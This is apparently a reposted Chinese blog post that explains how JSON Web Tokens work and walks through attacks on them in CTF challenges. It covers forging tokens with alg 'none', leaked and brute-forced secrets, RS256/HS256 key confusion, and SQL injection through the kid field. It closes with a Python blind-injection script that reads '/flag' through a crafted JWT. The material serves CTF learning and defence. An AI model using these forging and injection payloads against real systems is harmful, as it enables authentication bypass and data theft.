0


浅谈JWT安全及在ctf中出现

什么是jwt?

JSON Web Token(JWT)是目前最流行的跨域身份验证解决方案

它的构成:第一部分我们称它为头部(header),第二部分我们称其为载荷(payload, 类似于飞机上承载的物品),第三部分是签证(signature).

JWT的优缺点

基于session和基于jwt的方式的主要区别就是用户的状态保存的位置,session是保存在服务端的,而jwt是保存在客户端的。自身包含了认证鉴权所需要的所有信息,服务器端无需对其存储,从而给服务器减少了存储开销。

1可扩展性好,

2无状态jwt不在服务端存储任何状态

JWT长什么样?

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ

看着与BASE64加密很像,但其中的+,/分别会被替换为减号(-)和下划线(_)

“=”等号是被去掉的

JWT的过程

1服务端根据用户登录信息,将信息生成token,返给客户端

2客户端收到服务端返回的token,存储在cookie中

3客户端携带token信息发送到服务端 ,以放在http请求头信息中,如:Authorization字段里面

4服务端检验token的合法性,如何合法,则成功,完成相应的响应

jwt的结构

jwt由三部分组成,每部分之间用.分隔,分别为
1、Header
2、Payload
3、Signature

Header

header示例如下:
{
“alg”: “HS256”,
“typ”: “JWT”
}

header由两部分组成,typ代表令牌的类型,也就是jwt,alg代表签名算法,常用的有hs256和rs256,分别代表HMAC和RSA

Payload

  • iss: jwt签发者
  • sub: jwt所面向的用户
  • aud: 接收jwt的一方
  • exp: jwt的过期时间,这个过期时间必须要大于签发时间
  • nbf: 定义在什么时间之前,该jwt都是不可用的.
  • iat: jwt的签发时间
  • jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。

{

"sub": "1234567890",

"name": "John Doe",

"iat": 1516239022

}

Signature

要创建签名部分,必须获取已编码的标头(header)、编码的有效负载(payload)、密钥、header中指定的算法,并对其进行签名。

签名用于验证信息在传输过程中是否被篡改,并且在使用私钥签名令牌的情况下,它还可以验证 JWT 的发送者是否正确。

由三部分组成

header

payload

secret

这个部分需要base64url后的header和base64url后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。

var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);

var signature = HMACSHA256(encodedString, 'secret');

注意:secret是保存在服务器端的,jwt的签发生成也是在服务器端的,secret就是用来进行jwt的签发和jwt的验证,所以,它就是你服务端的私钥,在任何场景都不应该流露出去。一旦客户端得知这个secret, 那就意味着客户端是可以自我签发jwt了。

JWT解码在线网站JSON Web Tokens - jwt.io

JWT攻击方式:

这里使用ctfshow的题进行演示

泄露敏感信息

JWT可以直接通过在线网站查看解码的内容,或者直接bse64解码,但JWT的本意并不是用来存放敏感信息,所以这个一般很少见

未对签名进行验证

web345

可以直接权限提升,没有token签名进行校验,直接修改sub的值为admin

直接抓包,找到Token 放在jwt.io上面改,注意是/admin/

未对加密算法进行强验证

web346

JWT支持将算法设定为"None"

算法改为None可以绕过验证

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

网站在线改不了算法,这里用python生成

import base64
def jwtBase64Encode(x):
return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
header = '{"typ":"JWT","alg":"none"}'
payload = '{"iss":"admin","iat":1665067354,"exp":1665475629,"nbf":1665067354,"sub":"admin","jti":"512efc0e4fd9fed194d5e66a81e78885"} '

print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')

密钥泄露

有的时候密钥能查看,可能会在某些常见位置

ctfshow web349

发现公私钥都放在了public文件夹下面,nodejs中可以直接访问此文件,浏览器访问直接下载下来

本地搭起来修改user值为admin,然后在浏览器拿到cookie

或者python 写个拿到私钥直接生成

暴力破解密钥

HMAC签名密钥

工具:jwt-cracker 复杂的是破不出来的,

jwt-cracker下载GitHub - brendan-rius/c-jwt-cracker: JWT brute force cracker written in C

有了密钥直接进行user的值进行修改

密钥混淆攻击 (CVE-2016-5431)

在开发应用的时候启用JWT,使用RS256更加安全,你可以控制谁能使用什么类型的密钥。另外,如果你无法控制客户端,无法做到密钥的完全保密,RS256会是个更佳的选择,JWT的使用方只需要知道公钥。

由于公钥通常可以从元数据URL节点获得,因此可以对客户端进行进行编程以自动检索公钥。如果采用这种方式,从服务器上直接下载公钥信息,可以有效的减少配置信息。

非对称加密:公钥加密,私钥解密

对称加密:用一个密钥进行签名认证

攻击利用

如果JWT配置允许同时使用这两种算法,可以改alg参数进行修改

将非对称加密改为对称加密

此攻击的原因是某些库对签名/验证HMAC对称加密的密钥和包含用于验证RSA签名令牌的公钥的密钥使用相同的变量名。

然后我们用公钥签名,修改加密算法为对称加密,进行密钥混淆攻击

防御措施:JWT配置应该只允许使用HMAC算法或公钥算法,决不能同时使用这两种算法。

修改KID

kid是header部分,也就是第一部分中的一个字段,如果服务端未对kid进行安全过滤,那么我们可以指定任意kid来作为服务端解密的secret,达到任意身份验证的目的。有些库使用系统调用(如文件系统查找)或数据库查询来提取“kid”头值中指定的密钥。

KID也可以用于在数据库中检索密钥。在该情况下,攻击者很可能会利用SQL注入来绕过JWT安全机制。

例如:

“kid”:”1 ' UNION SELECT 'key';--” //使用字符串"key"验证token

通过对KID的修改,导致数据库信息泄露

这个注入会导致应用程序返回字符串“ key”,因此我们得到了key字符串的值,服务器也将以key的值来验证token

在网鼎杯中出现了修改user值来进行注入的情况

JWT在比赛中出现的情况:

2021陇剑杯网络安全大赛-JWT部分

流量分析

能明显看出有JWT特征

2020网鼎杯玄武组 js_on

使用admin admin可以直接登陆进去,然后抓包可以明显的看到有jwt特征的token,于是我们可以考虑从JWT着手考虑

使用这个可以注入成功

{

"user": "i'//or//ascii(mid((select/**/load_file('/flag')),1,1))>'a'#",

"news": "key: test"

}

使用 和/**/进行绕过,这题 substr ,mid这些都没被过滤

发现回显可以变成test

语句成功

{

"news": "Flag",

"user": "i'//or//substr((select/**/load_file('/flag')),1,1)='a'#"

}

写脚本

根据如果对则显示news:的值

否则则显示 "这是你的信息?....."

python脚本

跑了好久才跑出来,这里python 使用的是2.7的版本

import urllib
import requests
import jwt
flagstr="cqwertyuiopasdfghjklzxvbnm-_=+1234567890{}@#$"
url="http://challenge-ac34226b886b1e3b.sandbox.ctfhub.com:10800/index.php"
q=1
w=""
#payload2="i'/**/or/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))='{}'#"
key="xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"
min=33
max=127
result=""
for i in range(1,40):
for j in flagstr:
#while abs(max-min)>1:
#mid=(max+min)//2
payload2="i'/**/or/**/substr((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1)=\'{}\'#".format(q,j)
payload1 = {'user':payload2,'news':'Flag'}
encoded_str=jwt.encode(payload1,key,algorithm='HS256')
cookies=dict(token=encoded_str)
r=requests.get(url,cookies=cookies)
print(r.text)
if r.text.find("Flag")>0:
#w=w+chr(mid)
# min=mid
w=w+j
q=q+1
print(w)
print("++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++")
print(cookies)
else:
print(cookies)
#q=q+1
#max=mid
#result+=chr(max)
print("flag"+w)

菜鸡一个,第一次发博客

参考文章https://www.jianshu.com/p/576dbf44b2ae

参考文章JWT攻击常用的两种算法 - FreeBuf网络安全行业门户

参考文章[CTFSHOW]JWT_Y4tacker的博客-CSDN博客

标签: 安全 json 服务器

本文转载自: https://blog.csdn.net/qq_39608382/article/details/127284893
版权归原作者 7july 所有, 如有侵权,请联系我们删除。

“浅谈JWT安全及在ctf中出现”的评论:

还没有评论